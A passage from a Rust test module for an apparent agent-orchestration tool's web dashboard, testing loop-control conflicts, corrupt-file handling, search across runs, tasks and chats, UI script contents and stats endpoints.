17596 minutes and the operator is holding a phone: {}",
17597 res.body
17598 );
17599
17600 let view = settled(&f, |v| v["running"] == false).await;
17601 assert_eq!(view["owned"], false);
17602 assert_eq!(
17603 view["stopping"], false,
17604 "a loop that has stopped is not still stopping: {view}"
17605 );
17606 assert_eq!(
17607 view["last_error"],
17608 Value::Null,
17609 "a loop that was asked to stop did not fail: {view}"
17610 );
17611
17612 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17615 assert_eq!(twice.status, 200, "{}", twice.body);
17616 }
17617
17618 #[tokio::test]
17619 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17620 let f = Fixture::start().await;
17621 write_daemon(f.home.path(), Timestamp::now());
17624
17625 let view = f.get("/api/loop").await.json();
17626 assert_eq!(view["running"], false, "not in this process: {view}");
17627 assert_eq!(view["owned"], false, "and not this process's to control");
17628 assert_eq!(
17629 view["daemon"]["running"], true,
17630 "but a loop is alive somewhere, which is what the UI must say"
17631 );
17632 assert_eq!(view["daemon"]["pid"], 4242);
17633
17634 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17635 let res = f.post("/api/loop", Some(body)).await;
17636 assert_eq!(
17637 res.status, 409,
17638 "neither button may pretend to work on someone else's loop: {}",
17639 res.body
17640 );
17641 assert!(
17642 res.json()["error"]
17643 .as_str()
17644 .is_some_and(|e| e.contains("4242")),
17645 "the refusal has to name the process the operator must go to: {}",
17646 res.body
17647 );
17648 }
17649 assert_eq!(
17650 f.get("/api/loop").await.json()["running"],
17651 false,
17652 "and the refusal started nothing"
17653 );
17654 }
17655
17656 #[tokio::test]
17657 async fn a_stale_status_file_is_not_a_foreign_owner() {
17658 let f = Fixture::start().await;
17659 write_daemon(
17660 f.home.path(),
17661 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17662 );
17663
17664 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17665 assert_eq!(
17666 res.status, 200,
17667 "a daemon killed a minute ago must not lock the loop out of its \
17668 own home for good: {}",
17669 res.body
17670 );
17671 assert_eq!(res.json()["running"], true);
17672
17673 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17674 }
17675
17676 #[tokio::test]
17677 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17678 let f = Fixture::start().await;
17679 let before = f.get("/api/health").await.json()["loop_rev"]
17680 .as_u64()
17681 .expect("a loop revision");
17682
17683 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17684
17685 let after = f.get("/api/health").await.json()["loop_rev"]
17686 .as_u64()
17687 .expect("a loop revision");
17688 assert!(
17689 after > before,
17690 "the loop is in-process state, so this counter is the only thing \
17691 that tells a second device the first one started it: {before} -> \
17692 {after}"
17693 );
17694
17695 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17696 }
17697
17698 #[tokio::test]
17699 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17700 let f = Fixture::with_loop(launch_broken).await;
17701
17702 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17703 assert_eq!(
17704 res.status, 200,
17705 "starting it is not the failure: {}",
17706 res.body
17707 );
17708
17709 let view = settled(&f, |v| v["last_error"].is_string()).await;
17710 assert_eq!(
17711 view["running"], false,
17712 "a loop that died must not read as running, or the operator has \
17713 nothing to press: {view}"
17714 );
17715 assert_eq!(view["owned"], false);
17716 assert!(
17717 view["last_error"]
17718 .as_str()
17719 .is_some_and(|e| e.contains("read-only file system")),
17720 "the phone is where a loop that died at 3am is visible: {view}"
17721 );
17722
17723 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17726 assert_eq!(again.status, 200, "{}", again.body);
17727 assert!(
17728 again.json()["last_error"]
17729 .as_str()
17730 .is_none_or(|e| !e.contains("read-only file system")),
17731 "a fresh start does not keep showing why the last one died: {}",
17732 again.body
17733 );
17734 }
17735
17736 #[tokio::test]
17737 async fn a_newer_daemon_status_file_still_renders() {
17738 let f = Fixture::start().await;
17739 std::fs::write(
17742 f.home.path().join("daemon.json"),
17743 serde_json::json!({
17744 "schema": 2,
17745 "updated_at": Timestamp::now().to_string(),
17746 "idle": true,
17747 "surprise": { "nested": [1, 2, 3] },
17748 })
17749 .to_string(),
17750 )
17751 .expect("write daemon.json");
17752
17753 let health = f.get("/api/health").await;
17754
17755 assert_eq!(health.status, 200);
17756 assert_eq!(health.json()["daemon"]["running"], true);
17757 }
17758
17759 #[tokio::test]
17760 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17761 let f = Fixture::start().await;
17762 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17763 let broken = f.runs().join("20260902-140502-bad");
17764 std::fs::create_dir_all(&broken).expect("run dir");
17765 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17766
17767 let list = f.get("/api/runs").await;
17768 let detail = f.get("/api/runs/20260902-140502-bad").await;
17769
17770 assert_eq!(list.status, 200);
17771 let listed = list.json();
17772 let ids: Vec<&str> = listed
17773 .as_array()
17774 .expect("an array")
17775 .iter()
17776 .map(|r| r["id"].as_str().expect("an id"))
17777 .collect();
17778 assert_eq!(
17779 ids,
17780 vec!["20260902-140501-good"],
17781 "one unreadable run must not cost the operator the whole history"
17782 );
17783 assert_eq!(detail.status, 500);
17784 assert!(
17785 detail.json()["error"]
17786 .as_str()
17787 .is_some_and(|e| e.contains("run.json")),
17788 "the failure names the file to look at: {}",
17789 detail.body
17790 );
17791 let health = f.get("/api/health").await;
17795 assert_eq!(health.json()["runs_unreadable"], 1);
17796 }
17797
17798 #[tokio::test]
17800 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17801 let f = Fixture::start().await;
17802 let runs = f.runs();
17803 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17804 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17805 let path = runs.join("20260902-140502-bbbb").join("run.json");
17808 let mut v: serde_json::Value =
17809 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17810 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17811 std::fs::write(&path, v.to_string()).unwrap();
17812 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17813 std::fs::write(
17814 runs.join("20260902-140503-cccc").join("run.json"),
17815 "{ not json",
17816 )
17817 .unwrap();
17818
17819 let res = f.get("/api/search?scope=runs&q=quokka").await;
17820 assert_eq!(res.status, 200, "{}", res.body);
17821 let v = res.json();
17822 assert_eq!(v["total"], 1, "{v}");
17823 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17824 assert_eq!(v["hits"][0]["field"], "text");
17825 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17826 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17827 assert!(
17828 parts
17829 .iter()
17830 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17831 "{v}"
17832 );
17833 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17834 assert_eq!(
17835 flat, "The Quokka leaks across threads",
17836 "whitespace is collapsed"
17837 );
17838
17839 let both = f
17841 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17842 .await
17843 .json();
17844 assert_eq!(both["total"], 1, "{both}");
17845 let neither = f
17846 .get("/api/search?scope=runs&q=quokka%20zebra")
17847 .await
17848 .json();
17849 assert_eq!(neither["total"], 0, "{neither}");
17850 let stmt = f
17852 .get("/api/search?scope=runs&q=mobile%20first")
17853 .await
17854 .json();
17855 assert_eq!(stmt["total"], 2, "{stmt}");
17856 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17857 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17858 }
17859
17860 #[test]
17861 fn snippet_ignores_terms_longer_than_the_field() {
17862 let terms = ["ok".to_owned(), "elephant".to_owned()];
17863 let parts = snippet_of("ok", &terms);
17864 assert_eq!(
17865 parts,
17866 vec![SnippetPart {
17867 text: "ok".to_owned(),
17868 hit: true
17869 }]
17870 );
17871 }
17872
17873 #[test]
17874 fn snippet_marks_matches_longer_than_the_window() {
17875 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17876 let hit_len = |parts: &[SnippetPart]| -> usize {
17877 parts
17878 .iter()
17879 .filter(|p| p.hit)
17880 .map(|p| p.text.chars().count())
17881 .sum()
17882 };
17883 let total =
17884 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17885
17886 let long = "a".repeat(120);
17887 let parts = snippet_of(&long, std::slice::from_ref(&long));
17888 assert!(hit_len(&parts) > 0, "{parts:?}");
17889 assert!(total(&parts) <= cap);
17890
17891 let ja = "あ".repeat(130);
17892 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17893 assert!(hit_len(&parts) > 0, "{parts:?}");
17894 assert!(total(&parts) <= cap);
17895
17896 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17898 let term = format!("ab{}", "c".repeat(100));
17899 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17900 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17901 assert!(total(&parts) <= cap);
17902
17903 let text = format!("{}z", "a".repeat(119));
17905 let parts = snippet_of(&text, &["a".repeat(120)]);
17906 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17907 }
17908
17909 #[tokio::test]
17910 async fn search_caps_hits_and_snippet_length() {
17911 let f = Fixture::start().await;
17912 let runs = f.runs();
17913 for n in 0..(SEARCH_MAX_HITS + 5) {
17914 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17915 }
17916 let v = f.get("/api/search?scope=runs&q=web").await.json();
17917 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17918 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17919 assert_eq!(v["truncated"], true);
17920 assert!(
17922 v["hits"]
17923 .as_array()
17924 .unwrap()
17925 .iter()
17926 .all(|h| h["run"]["status"] == "merged")
17927 );
17928
17929 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17930 let parts = snippet_of(&long, &["needle".to_owned()]);
17931 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17932 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17933 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17934 }
17935
17936 #[tokio::test]
17937 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17938 let f = Fixture::start().await;
17939 let queue = f.queue();
17940 let mut t = Task::new(
17941 "short title".to_owned(),
17942 "line one\nthe hidden Armadillo detail".to_owned(),
17943 PathBuf::from("/repo/magi"),
17944 Source::Agent {
17945 run: "r1".to_owned(),
17946 node: "chat".to_owned(),
17947 },
17948 );
17949 t.last_error = Some("disk full on /tmp".to_owned());
17950 queue.put(&mut t).expect("file the task");
17951
17952 for (q, want) in [
17953 ("armadillo", 1),
17954 ("disk%20FULL", 1),
17955 ("chat", 1),
17956 ("queued", 1),
17957 ("short%20nothing", 0),
17958 ] {
17959 let v = f
17960 .get(&format!("/api/search?scope=tasks&q={q}"))
17961 .await
17962 .json();
17963 assert_eq!(v["total"], want, "{q}: {v}");
17964 }
17965 for bad in [
17966 "/api/search?scope=tasks&q=",
17967 "/api/search?scope=tasks&q=%20",
17968 "/api/search?scope=chats&q=",
17969 "/api/search?scope=chats&q=%20",
17970 "/api/search?scope=nope&q=a",
17971 "/api/search?q=a",
17972 ] {
17973 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17974 }
17975 }
17976
17977 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17979 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17980 .expect("seat value");
17981 let turns: Vec<serde_json::Value> = turns
17982 .iter()
17983 .map(|(who, body)| {
17984 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17985 })
17986 .collect();
17987 let doc = serde_json::json!({
17988 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17989 "status": status, "turns": turns,
17990 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17991 "seat": seat,
17992 });
17993 let dir = f.home.path().join("talks");
17994 std::fs::create_dir_all(&dir).expect("talks dir");
17995 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17996 }
17997
17998 #[test]
17999 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18000 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18001 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18002 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18003 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18004 "seat": crate::agent::SeatState::new("talk", "test", 1)
18005 })).unwrap();
18006 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18007 talk.title = Some(talk::ChatTitle {
18008 text: "最近の話題".into(),
18009 source: talk::TitleSource::Generated,
18010 });
18011 let doc = talk_search_doc(&talk);
18012 assert_eq!(doc["title"], "最近の話題");
18013 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18014 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18015 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18016 }
18017
18018 #[tokio::test]
18019 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18020 let f = Fixture::start().await;
18021 write_talk(
18022 &f,
18023 "20260901-000001-aaaa",
18024 "open",
18025 &[
18026 (
18027 "operator",
18028 "\n Why does the Pangolin cache expire?\nsecond line",
18029 ),
18030 ("agent", "Because the TTL is thirty seconds."),
18031 ],
18032 );
18033 write_talk(
18034 &f,
18035 "20260901-000002-bbbb",
18036 "closed",
18037 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18038 );
18039 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18040
18041 let search = |q: &'static str| {
18042 let f = &f;
18043 async move {
18044 f.get(&format!("/api/search?scope=chats&q={q}"))
18045 .await
18046 .json()
18047 }
18048 };
18049
18050 let v = search("PANGOLIN").await;
18051 assert_eq!(v["scope"], "chats");
18052 assert_eq!(v["total"], 1, "{v}");
18053 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18054 assert_eq!(v["hits"][0]["field"], "title");
18055 assert_eq!(v["unreadable"], 1, "{v}");
18056 let marked: Vec<&str> = v["hits"][0]["snippet"]
18057 .as_array()
18058 .unwrap()
18059 .iter()
18060 .filter(|p| p["hit"] == true)
18061 .map(|p| p["text"].as_str().unwrap())
18062 .collect();
18063 assert_eq!(marked, ["Pangolin"]);
18064
18065 let v = search("zebra").await;
18067 assert_eq!(v["total"], 1, "{v}");
18068 assert_eq!(v["hits"][0]["field"], "agent");
18069 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18071 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18072 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18074 assert_eq!(search(q).await["total"], 0, "{q}");
18075 }
18076 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18078 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18080
18081 let v = f.get("/api/search?scope=nope&q=a").await;
18082 assert_eq!(v.status, 400);
18083 assert!(
18084 v.body.contains("scope must be runs, tasks or chats"),
18085 "{}",
18086 v.body
18087 );
18088 }
18089
18090 #[test]
18091 fn a_question_card_links_a_task_id_to_the_task_page() {
18092 let start = APP_JS
18093 .find("function updateAskCard(")
18094 .expect("updateAskCard exists");
18095 let body = &APP_JS[start..];
18096 let body = &body[..body.find("\n}\n").expect("function end")];
18097 assert!(body.contains("question.run_is_task"));
18098 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18099 assert!(body.contains("`#/runs/${question.run}`"));
18100 assert!(body.contains("\"task\" : \"run\""));
18101 }
18102
18103 #[test]
18104 fn plain_text_message_surfaces_go_through_linkify() {
18105 assert!(APP_JS.contains("function linkify("));
18106 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18107 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18108 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18109 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18110 assert!(!APP_JS.contains("innerHTML = text"));
18111 }
18112
18113 #[test]
18114 fn implementation_rate_views_keep_independent_samples() {
18115 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18116 let a = stats::AgentStats {
18117 competitive_entered: competitive_n,
18118 competitive_wins: usize::from(competitive_n > 0),
18119 solo_entered: solo_n,
18120 solo_adopted: 2 * usize::from(solo_n > 0),
18121 ..Default::default()
18122 };
18123 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18124 for (key, n, numerator) in [
18125 ("competitive_win_rate", competitive_n, a.competitive_wins),
18126 ("solo_adoption_rate", solo_n, a.solo_adopted),
18127 ] {
18128 if n == 0 {
18129 assert!(v[key].is_null());
18130 } else {
18131 assert_eq!(v[key]["denominator"], n);
18132 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18133 }
18134 }
18135 }
18136 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18137 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18138 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18139 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18140 }
18141
18142 #[test]
18143 fn stats_bars_share_one_id_keyed_plan() {
18144 let start = APP_JS
18145 .find("function statsBarRows(")
18146 .expect("statsBarRows exists");
18147 let body = &APP_JS[start..];
18148 let body = &body[..body.find("\n}\n").expect("function end")];
18149 assert!(body.contains("statsBarPlan(rows)"));
18150 assert!(body.contains("statsAgentTone(row.agent)"));
18151 assert!(!body.contains("candTone(i)"));
18152 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18153 for root in [
18154 "stats-agents-bars",
18155 "stats-solo-bars",
18156 "stats-reviewers-bars",
18157 ] {
18158 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18159 }
18160 }
18161
18162 #[test]
18163 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18164 let start = APP_JS
18165 .find("function renderStatsReviewerScatter(")
18166 .expect("renderStatsReviewerScatter exists");
18167 let body = &APP_JS[start..];
18168 let body = &body[..body.find("\n}\n").expect("function end")];
18169 assert!(body.contains("statsScatterPlan(reviewers)"));
18170 assert!(body.contains("statsAgentTone(d.agent)"));
18171 assert!(APP_JS.contains("function statsScatterPlan("));
18172 assert!(
18173 APP_JS.contains("d.submitted < STATS_LOW_N")
18174 || APP_JS.contains("r.submitted < STATS_LOW_N")
18175 );
18176 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18177 assert!(APP_CSS.contains(".precision-scatter"));
18178 }
18179
18180 #[test]
18181 fn advisor_reflection_is_drawn_as_stacked_segments() {
18182 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18183 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18184 let html = include_str!("../assets/ui/index.html");
18185 assert!(html.contains("Approximate"));
18186 for label in ["reflected strongly", "faint", "no proposal"] {
18187 assert!(html.contains(label));
18188 }
18189 let css = include_str!("../assets/ui/app.css");
18190 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18191 assert!(css.contains(&format!(".{c} {{")));
18192 }
18193 }
18194
18195 #[test]
18196 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18197 assert!(APP_JS.contains("function statsDailyPlan("));
18198 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18199 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18200 }
18201
18202 #[test]
18203 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18204 let start = APP_JS
18205 .find("function scheduleSearch(")
18206 .expect("scheduleSearch exists");
18207 let body = &APP_JS[start..];
18208 let body = &body[..body.find("\n}\n").expect("function end")];
18209 assert!(body.contains("s.seq += 1"));
18210 }
18211
18212 #[tokio::test]
18217 async fn stats_runs_unreadable_matches_health() {
18218 let f = Fixture::start().await;
18219 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18220 let broken = f.runs().join("20260902-140502-bad");
18221 std::fs::create_dir_all(&broken).expect("run dir");
18222 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18223
18224 let stats = f.get("/api/stats").await;
18225 let health = f.get("/api/health").await;
18226
18227 assert_eq!(stats.status, 200);
18228 assert_eq!(stats.json()["totals"]["runs"], 1);
18229 assert_eq!(stats.json()["runs_unreadable"], 1);
18230 assert_eq!(
18231 stats.json()["runs_unreadable"],
18232 health.json()["runs_unreadable"],
18233 "the dashboard and /api/health must never disagree about how many \
18234 runs could not be read"
18235 );
18236 }
18237
18238 #[tokio::test]
18239 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18240 let f = Fixture::start().await;
18241 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18242 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18243 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18244
18245 let totals = &f.get("/api/stats").await.json()["totals"];
18246 assert_eq!(totals["runs"], 3);
18247 assert_eq!(totals["merged"], 1);
18248 assert_eq!(totals["stalled"], 1);
18249 assert_eq!(totals["in_progress"], 1);
18250 assert_eq!(totals["blocked"], 0);
18253 assert_eq!(totals["ready"], 0);
18254 }
18255
18256 #[tokio::test]
18257 async fn stats_advisors_report_proposals_and_reflection() {
18258 use crate::advise::{Advice, AdvisorRecord, Reflection};
18259 use crate::verdict::Proposal;
18260
18261 let f = Fixture::start().await;
18262 let mut state = RunState::new(
18263 PathBuf::from("/repo/magi"),
18264 "main".to_owned(),
18265 "0123456789abcdef".to_owned(),
18266 "task".to_owned(),
18267 Config::default(),
18268 );
18269 state.id = "20260902-140501-a".to_owned();
18270 state.status = RunStatus::Merged;
18271 state.advice = Some(Advice {
18272 records: vec![
18273 AdvisorRecord {
18274 seat: "advisor-1".to_owned(),
18275 agent: "alpha".to_owned(),
18276 proposal: Some(Proposal {
18277 approach: "do it".to_owned(),
18278 key_tradeoff: "speed over memory".to_owned(),
18279 risks: Vec::new(),
18280 touches: Vec::new(),
18281 why_not_naive: "breaks under load".to_owned(),
18282 }),
18283 error: None,
18284 duration_ms: 0,
18285 reflection: Reflection::Strong,
18286 },
18287 AdvisorRecord {
18288 seat: "advisor-2".to_owned(),
18289 agent: "alpha".to_owned(),
18290 proposal: None,
18291 error: Some("timed out".to_owned()),
18292 duration_ms: 0,
18293 reflection: Reflection::Absent,
18294 },
18295 ],
18296 synthesis: Some("blended brief".to_owned()),
18297 });
18298 let dir = f.runs().join(&state.id);
18299 std::fs::create_dir_all(&dir).expect("run dir");
18300 std::fs::write(
18301 dir.join("run.json"),
18302 serde_json::to_string_pretty(&state).expect("serialize run"),
18303 )
18304 .expect("write run.json");
18305
18306 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18308 let alpha = advisors
18309 .as_array()
18310 .expect("an array")
18311 .iter()
18312 .find(|a| a["agent"] == "alpha")
18313 .expect("alpha row");
18314 assert_eq!(alpha["seated"], 2);
18315 assert_eq!(alpha["proposed"], 1);
18316 assert_eq!(alpha["absent"], 1);
18317 assert_eq!(alpha["strong"], 1);
18318 assert_eq!(alpha["faint"], 0);
18319 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18320 }
18321
18322 #[tokio::test]
18323 async fn stats_hides_agents_outside_the_roster_unless_all() {
18324 use crate::run::Candidate;
18325 let repo = TempDir::new().expect("repo dir");
18326 std::fs::write(
18327 repo.path().join("magi.toml"),
18328 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18329 )
18330 .expect("magi.toml");
18331 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18332 let mut state = RunState::new(
18333 PathBuf::from("/repo/magi"),
18334 "main".to_owned(),
18335 "0123456789abcdef".to_owned(),
18336 "task".to_owned(),
18337 Config::default(),
18338 );
18339 state.id = "20260902-140501-a".to_owned();
18340 state.status = RunStatus::Merged;
18341 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18342 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18343 "index": 0, "label": label.to_string(), "agent": agent,
18344 "branch": "b", "worktree": "/w",
18345 }))
18346 .expect("candidate");
18347 c.label = label;
18348 state.candidates.push(c);
18349 }
18350 let dir = f.runs().join(&state.id);
18351 std::fs::create_dir_all(&dir).expect("run dir");
18352 std::fs::write(
18353 dir.join("run.json"),
18354 serde_json::to_string_pretty(&state).expect("serialize run"),
18355 )
18356 .expect("write run.json");
18357
18358 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18359 v["agents"]
18360 .as_array()
18361 .expect("array")
18362 .iter()
18363 .map(|a| a["agent"].as_str().unwrap().to_owned())
18364 .collect()
18365 };
18366 let hidden = f.get("/api/stats").await.json();
18367 assert_eq!(agents_of(&hidden), ["keep"]);
18368 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18369 assert_eq!(hidden["totals"]["runs"], 1);
18370
18371 let all = f.get("/api/stats?all=true").await.json();
18372 assert_eq!(agents_of(&all).len(), 2);
18373 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18374 let keep_agent = all["agents"]
18376 .as_array()
18377 .unwrap()
18378 .iter()
18379 .find(|a| a["agent"] == "keep")
18380 .unwrap();
18381 assert_eq!(keep_agent["competitive_entered"], 1);
18382 assert_eq!(keep_agent["competitive_wins"], 0);
18383 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18384 assert_eq!(keep_agent["solo_entered"], 0);
18385 assert_eq!(keep_agent["solo_adopted"], 0);
18386 assert!(keep_agent["solo_adoption_rate"].is_null());
18387 }
18388
18389 #[tokio::test]
18390 async fn stats_release_bumps_split_clean_from_attention() {
18391 use crate::run::ReleaseBump;
18392
18393 let f = Fixture::start().await;
18394
18395 let mut clean = RunState::new(
18396 PathBuf::from("/repo/magi"),
18397 "main".to_owned(),
18398 "0123456789abcdef".to_owned(),
18399 "task".to_owned(),
18400 Config::default(),
18401 );
18402 clean.id = "20260902-140501-a".to_owned();
18403 clean.status = RunStatus::Merged;
18404 clean.release_bump = Some(ReleaseBump {
18405 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18406 version: Some("1.0.0".to_owned()),
18407 automerge_enabled: true,
18408 merged_directly: false,
18409 local: false,
18410 release: None,
18411 problem: None,
18412 action_required: None,
18413 skipped: None,
18414 });
18415
18416 let mut blocked = RunState::new(
18417 PathBuf::from("/repo/magi"),
18418 "main".to_owned(),
18419 "0123456789abcdef".to_owned(),
18420 "task".to_owned(),
18421 Config::default(),
18422 );
18423 blocked.id = "20260902-140502-b".to_owned();
18424 blocked.status = RunStatus::Merged;
18425 blocked.release_bump = Some(ReleaseBump {
18426 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18427 version: Some("1.0.1".to_owned()),
18428 automerge_enabled: false,
18429 merged_directly: false,
18430 local: false,
18431 release: None,
18432 problem: Some("checks red".to_owned()),
18433 action_required: Some("look at the PR".to_owned()),
18434 skipped: None,
18435 });
18436
18437 for state in [&clean, &blocked] {
18438 let dir = f.runs().join(&state.id);
18439 std::fs::create_dir_all(&dir).expect("run dir");
18440 std::fs::write(
18441 dir.join("run.json"),
18442 serde_json::to_string_pretty(state).expect("serialize run"),
18443 )
18444 .expect("write run.json");
18445 }
18446
18447 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18448 assert_eq!(bumps["merged"], 2);
18449 assert_eq!(bumps["recorded"], 2);
18450 assert_eq!(bumps["pr_opened"], 2);
18451 assert_eq!(bumps["automerge_enabled"], 1);
18452 assert_eq!(bumps["needs_attention"], 1);
18453 assert_eq!(bumps["clean"], 1);
18454 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18455 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18456 }
18457
18458 #[tokio::test]
18459 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18460 let f = Fixture::start().await;
18461 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18462
18463 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18464 assert_eq!(bumps["merged"], 1);
18465 assert_eq!(bumps["recorded"], 0);
18466 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18469 assert_eq!(bumps["automerge_rate"], Value::Null);
18472 assert_eq!(bumps["attention_rate"], Value::Null);
18473 }
18474
18475 #[tokio::test]
18476 async fn stats_queue_counts_come_from_the_live_queue() {
18477 let f = Fixture::start().await;
18478 let q = f.queue();
18479 let mut queued = Task::new(
18480 "queued task".to_owned(),
18481 "do it".to_owned(),
18482 PathBuf::from("/repo"),
18483 Source::Human,
18484 );
18485 q.put(&mut queued).expect("put queued");
18486 let mut held = Task::new(
18487 "held task".to_owned(),
18488 "do it later".to_owned(),
18489 PathBuf::from("/repo"),
18490 Source::Human,
18491 );
18492 held.hold_machine(Some("out of attempts".to_owned()));
18493 q.put(&mut held).expect("put held");
18494
18495 let queue = f.get("/api/stats").await.json()["queue"].clone();
18496 assert_eq!(queue["queued"], 1);
18497 assert_eq!(queue["held"], 1);
18498 assert_eq!(queue["running"], 0);
18499 assert_eq!(queue["done"], 0);
18500 assert_eq!(queue["failed"], 0);
18501 assert_eq!(queue["blocked"], 0);
18502 }
